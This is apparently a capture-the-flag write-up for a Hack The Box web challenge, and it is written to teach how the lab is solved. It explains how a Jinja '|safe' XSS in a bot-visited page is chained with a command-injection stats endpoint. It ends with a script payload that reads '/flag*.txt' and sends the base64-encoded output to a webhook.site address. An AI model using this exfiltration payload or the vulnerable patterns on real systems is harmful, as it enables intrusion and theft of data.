Stealing Secrets from internal Web Pages from XSS through command injection

November 8, 2024

Challenge Introduction

In this challenge from Hack The Box, we are given a website that has a XSS vulnerability. The challenge is to steal the flag from the website. It has a input field where we can put our 'address', the backend will the visit the input that we've specified.

The Vulnerability

When we input our address, the backend will visit the input that we've specified, as shown in app.py

@app.route("/add/address", methods=["POST"])
def add_address():
    address = request.form.get("address")
    
    if not address:
        return render_template("index.html", message="No address provided")

    addresses.append(address)
    Thread(target=start_bot,).start()
    return render_template("index.html", message="Address registered")

addresses.html file has a XSS vulnerability in the safe filter. This means that we can inject arbitrary JavaScript code that will be executed in the browser of the bot.

<body>
    <h1>System stats:</h1>
    <p id="stats"></p>
    <h1>Addresses:</h1>
    {% for address in addresses %}
        <p>{{ address|safe }}</p>
    {% endfor %}
    <script src="/static/js/script.js"></script>
</body>

In the script.js file, it has a function that will fetch the stats of the system and display it in the stats element.

window.onload = async () => {
    let stats = document.getElementById("stats");
    const response = await fetch("/api/stats?command=ifconfig");
    const data = await response.text();
    stats.innerHTML = data;
}

Now that we know that we can execute arbitrary command because of the command injection vulnerability on the system, we can use this to our advantage to steal the flag.

Final Exploit Payload

  1. This payload will use the command injection vulnerability to steal by using the cat /flag*.txt command.
  2. The r.text() function will get the response from the command and returns it as a string.
  3. The fetch function will then take the response and base64 encode it before sending it to the webhook site.
<script>
fetch("http://localhost:1337/api/stats?command=cat /flag*.txt")
  .then(r => r.text())
  .then(d => fetch("https://webhook.site/webhook-id/" + btoa(d)))
</script>

Catch the flag on the webhook site and base64 decode it.